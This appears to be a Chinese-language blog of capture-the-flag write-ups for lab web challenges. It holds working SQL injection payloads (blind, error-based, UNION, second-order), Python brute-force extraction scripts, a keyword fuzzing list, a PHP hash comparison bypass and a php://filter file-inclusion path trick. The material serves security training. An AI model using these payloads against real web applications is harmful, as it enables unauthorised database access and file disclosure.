1 1 "&&updatexml (1 ,concat(0 x7e,reverse((select(group_concat(real_flag_1s_here))from (users)where (real_flag_1s_here)regexp ('flag'))),0 x7e),1 )#
 
去掉reverse再看,然后拼起来就行。
[GYCTF2020]Ezsqli 唉,孙笑川,晦气啊。
先看怎么闭合的1'#:
初步猜测布尔盲注,尝试1#
数字型注入
FUZZ一下看看都过滤了啥:
我用的是这个字典,可以参考一下(用burpsuite FUZZ的话记得设置一下间隔,也就是Fixed参数)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 length  Length +handler like LiKe select SeleCT   sleep SLEEpdatabase DATABASe delete having or oR as As  -~ BENCHMARKlimit LimIt  left Leftselect SELECT insert insERT INSERT  right # INFORMATION ; ! % + xor <> ( > < ) . ^ =AND ANd BY By CAST COLUMN COlumn  COUNT CountCREATE END case '1' ='1 when admin'  " length  + REVERSE ascii ASSIC ASSic select  database left right union UNIon UNION " & && || oorr / // / * ananddGROUP HAVING IF INTO JOIN  LEAVE LEFTLEVEL  sleepLIKE  NAMES NEXTNULL OF ON  | infromation_schemauser OR ORDER  ORDSCHEMA SELECT SET TABLE THEN UNION UPDATE USER USING VALUE VALUES WHEN WHERE ADD AND prepare set update delete drop  insetCAST COLUMN  CONCAT GROUP_CONCAT group_concatCREATE DATABASE  DATABASESalter DELETE DROP  floor rand() information_schema.tables  TABLE_SCHEMA %df concat_ws() concatLIMIT  ORDON  extractvalueorder   CAST()by ORDER  OUTFILERENAME  REPLACESCHEMA SELECT SET  updatexmlSHOW SQL TABLE THEN TRUE  instr benchmarkformat  bin substring ord  UPDATE VALUES VARCHAR VERSION WHEN WHERE 
 
主要是过滤了information_schema.tables这东西,但注意:
sys这个没过滤,而且经过测试直接打or没问题,但连起来比如0 or 1=1 #这种还会被检测到。。
if,^,&&能用,比如:
if(1,1,2)这里会返回nu1l,可以在第一个1上做文章
0^1返回nu1l,1&&1返回nu1l
拿if来说,爆库可以使用:
1 if (ascii (substr (database (),{},1 ))>{},1 ,2 ).format {i ,j }
 
即
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import  requestsimport  re url = 'http://687df149-6e4c-4d22-9035-80478f031581.node4.buuoj.cn:81/index.php'    flag = '' for  i in  range (0 , 50 ):     time.sleep(0.02 )     for  j in  range (32 , 127 ):         payload = "if(ascii(substr(database(),{},1))={},1,2)" .format (i, j)         data = {"id" : payload}         res = requests.post(url=url, data=data)         if  'Nu1L'  in  res.text:             flag = flag + chr (j)                          print (flag)             break 
 
二分法还不是很熟练。。这个跑的有点慢╮(╯-╰)╭而且会跑出不正确的字符。。这里参考了其它师傅地道二分法脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import  requestsimport  time url='http://51803b08-9d22-46c8-b50e-33d3fe778c2b.node4.buuoj.cn:81/'  f='' for  i in  range (1 ,200 ):     time.sleep(0.02 )     min =32      max =127      mid=(min +max )//2      while  min <max :         time.sleep(0.02 )         payload="1^(ascii(substr((select database()),{},1))>{})^1" .format (str (i),str (mid))                   data={             "id" :payload         }         s=requests.post(url=url,data=data)         if  "Nu1L"  in  s.text:             min =mid+1          else :             max =mid         mid=(min +max )//2      f+=chr (mid)     print (f)
 
give_grandpa_pa_pa_pa
FUZZ的时候过滤了information_schema,所以用sys.schema_table_statistics_with_buffer代替information_schema.tables。但最终爆列的时候还是要用到infomation_schema这东西,所以得考虑其它注入方式,这里用到了无列名注入和ASCII偏移。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 select  (select  'b' ) >  (select  'abcdefg' ) #返回1 select  (select  'b' ) >  (select  'c' ) #返回0 select  (SELECT  'bb' ) >  (select  'ba' ) #返回1 select  (SELECT  1 ,'bb' ) >  (select  1 ,'ba' ) #返回1 select  (SELECT  1 ,'bb' ) >  (select  2 ,'ba' ) #返回0 select  (SELECT  '1' ) >  (select  'a' ) #返回0 select  (SELECT  1 ) >  (select  'a' ) #返回1 select  (SELECT  1 ) =  (select  '1' ) #返回1 select  (SELECT  1 ) >  (select  '~' ) #返回1 select  (SELECT  'flag' ) >  (select  'f' ) #返回1 
 
比较的时候,1=’1’,但’1’<’a’,且1>’a’,经测可知,数字>字符。
 
所以可以用如下方法测试列数:
1 2 3 4 1 ^ ((select  1 ,2 )> (select  *  from  f1ag_1s_h3r3_hhhhh))^ 1 0 ^ (select  1 ,2 )> (select  *  from  f1ag_1s_h3r3_hhhhh))
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import  requests url='http://8e176081-905d-4063-a906-4eed1f03ed17.node3.buuoj.cn/index.php'  payload='0^((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'  flag='' for  j in  range (200 ):     for  i in  range (32 ,128 ):         hexchar=flag+chr (i)         py=payload.format (hexchar)         datas={'id' :py}         re=requests.post(url=url,data=datas)         if  'Nu1L'  in  re.text:             flag+=chr (i-1 )             print (flag)             break import  requestsimport  timedef  to_hex (s ):       res = ''      for  i in  s:         res += hex (ord (i)).replace('0x' , '' )     res = '0x'  + res     return  res url = "http://3a960679-ba2d-46e9-8e31-605a16a949a9.node4.buuoj.cn:81/"  s = ""  last = 'tmp' while (s.strip() != last):     for  j in  range (33 , 127 ):         time.sleep(0.1 )         flag = s + chr (j)         payload = "1^((1,{0})>(select * from f1ag_1s_h3r3_hhhhh))^1" .format (to_hex(flag))         data = {             "id" : payload         }         r = requests.post(url, data=data)         if  b"Nu1L"  in  r.content:             last = s.strip()             s += chr (j-1 )               print (s.lower())             break 
 
匹配flag的时候,一定会先经过匹配到字符相等的情况,这个时候返回的是0。很明显此时的chr(char)并不是我们想要的,我们在输出1(Nu1L)的时候,匹配的是f的下一个字符g,而我们想要的是f,此时chr(char-1)=’f’,所以这里要用chr(char-1)。
看了wp还有这种方式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16  import requests url = "http://2070e1dc-ce1b-4d1c-ae33-f747d0ae05e8.node3.buuoj.cn/index.php"  payload1 = "if((ascii(substr(database(),"  payload2 = ",1))="  payload3 = "),1,2)"  name = "" for  i  in  range (1 ,22 ):     for  j in  range (23 ,123 ):         payload = payload1+str (i)+payload2+str (j)+payload3         data = {'id' :payload}         s = requests.post (url,data=data).text          if  ("Nu1L"  in  s):             name += chr (j)             print (name)             break
 
参考:
1 2 3 https:// blog.csdn.net/qq_45521281/ article/details/ 106647880  https:// syunaht.com/p/ 1354079185 .html https:// www.shawroot.cc/1186 .html
 
[b01lers2020]Life on Mars 
源码好像没啥信息,抓包看看:
注意这个URL:/query?search=amazonis_planitia&{}&_=1703252641401
在第一个字段加了个'%23:
有反应,把单引号直接去了:
%23这个注释符确实起作用了。加了注释符直接把后面全删掉回显也是正常的。后面想着直接oder by 判断列数了,但burp上操作一直给我回显400,他妈的。只能直接在网页操作:
1 /query?search= olympus_mons order  by  2 
 
2时回显正常
1 /query?search=olympus_mons union select  123,456
 
1 /query?search =olympus_mons union  select  version(),database ()#
 
数据库:aliens
1 /query?search =amazonis_planitia union  select  1 ,group_concat(table_name ) from  information_schema.tables  where  table_schema='aliens' 
 
表一大堆:
1 amazonis_planitia, arabia_terra ,chryse_planitia,hellas_basin,hesperia_planum ,noachis_terra,olympus_mons,tharsis_rise,utopia_basin 
 
后面懒得查了直接找了wp。。这东西能直接用sqlmap跑出来而且表不是aliens而是alien_code这个库,而且code这个表不止一个。。所以要这么查:
1 /query?search=amazonis_planitia union select  1,group_concat(id ,code) from alien_code.code
 
October 2019 Twice SQL Injection 唉,一个简单的二次注入,结果被我想麻烦了浪费好长时间。
先注册了admin,admin。info那里放了个1。然后注册了admin'#``admin,登进去发现info字段有东西:
我注册的admin'#登录成了admin用户了,一开始以为是登录的锅:'#直接把后面的都注释掉了,所以尝试了admin'#然后输个错误的密码看看能不能登录:
干,登不上去。
后面想了想应该是登录时存在二次注入:把输入的用户名和密码存起来然后取出,admin'#就变成admin了。但这里怎么利用是个问题。。
我一开始以为要根据页面回显去一点一点判断,比如:
1 2 3 1 ' and if(ascii(substr(database(),1,1))=99,1,2)# 
 
然后根据登录后的页面中info的内容是否和用户名1的内容一样判断:
如果if这个条件是对的info字段就会回显和1同样的内容。但这意味着我对每个payload都要进行:注册加登录的操作。。
后面看了wp,🐎的这里直接用UNION就直接能回显:
 
1 2 3 4 5 6 7 8 9 / / 爆库:ctftraining1 ' union select database() # //爆表 1'  union  select  group_concat(table_name) from  information_schema.tables where  table_schema= 'ctftraining'  #/ / 爆列1 ' union select group_concat(column_name) from information_schema.columns where table_name=' flag'# //flag 1'  union  select  flag from  flag #
 
[极客大挑战 2020]Roamphp1-Welcome 进去什么也没有,hint提示换一种请求方式,改成POST:
1 2 3 4 5 6 7 8 9 10 11 12 13 14  <?php error_reporting (0 );if  ($_SERVER ['REQUEST_METHOD' ] !== 'POST' ) {header ("HTTP/1.1 405 Method Not Allowed" );exit (); } else  {          if  (!isset ($_POST ['roam1' ]) || !isset ($_POST ['roam2' ])){         show_source (__FILE__ );     }     else  if  ($_POST ['roam1' ] !== $_POST ['roam2' ] && sha1 ($_POST ['roam1' ]) === sha1 ($_POST ['roam2' ])){         phpinfo ();       } } 
 
简单hash强等于绕过:
roam1[]=1&roam2[]=2
[WMCTF2020]Make PHP Great Again 1 2 3 4 5 6 <?php highlight_file (__FILE__ );require_once  'flag.php' ;if (isset ($_GET ['file' ])) {   require_once  $_GET ['file' ]; }
 
注意这个require_once,顺便复习下几个常用的文件包含函数:
include()函数当遇到错误的信息时,会进行报错,但仍然会继续执行下面的代码 include_once()函数与include()函数功能类似,但所包含的信息只执行一次 require()函数当遇到错误的信息时,会进行报错,并且不会再继续执行下面的代码 require_once()函数与require()函数功能类似,但所包含的信息只执行一次
 
绕过参考https://www.anquanke.com/post/id/213235
大致就是当软链接多到一定程度(路径嵌套够多)后可以实现绕过,比如:
1 2 3  proc/self/ rootproc/self/ rootproc/self/ rootproc/self/ rootproc/self/ rootproc/self/ rootproc/self/ rootproc/self/ rootproc/self/ root/var/ www/html/ xxxx
 
这种路径
/proc/self/root这东西其实就是/,多层嵌套之后还是/:
所以对于这种路径:
1 2 3  proc/self/ rootproc/self/ rootproc/self/ rootproc/self/ rootproc/self/ rootproc/self/ rootproc/self/ rootproc/self/ rootproc/self/ root/var/ www/html/ xxxx
 
其实还是/var/www/html/xxxx
尝试读取:
 
php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
就行。
后面看有的师傅用这种方法:
1 2 3  ?file=php:// filter/convert.base64-encode/ resource=/nice/ ../proc/ self/cwd/ flag.php
 
/proc/self/cwd/这东西直接指向了当前的工作目录,就用不着猜/var/www/html/了。另外nice这个东西换成啥都行,只要接下来通过..再跳回到根目录就行。但注意proc/self/cwd这东西不能改成var/www/html。因为payload中一定要存在符号链接:
1 2 这种也行:/nice/ ../proc/ self/root/ var/www/ html/flag.php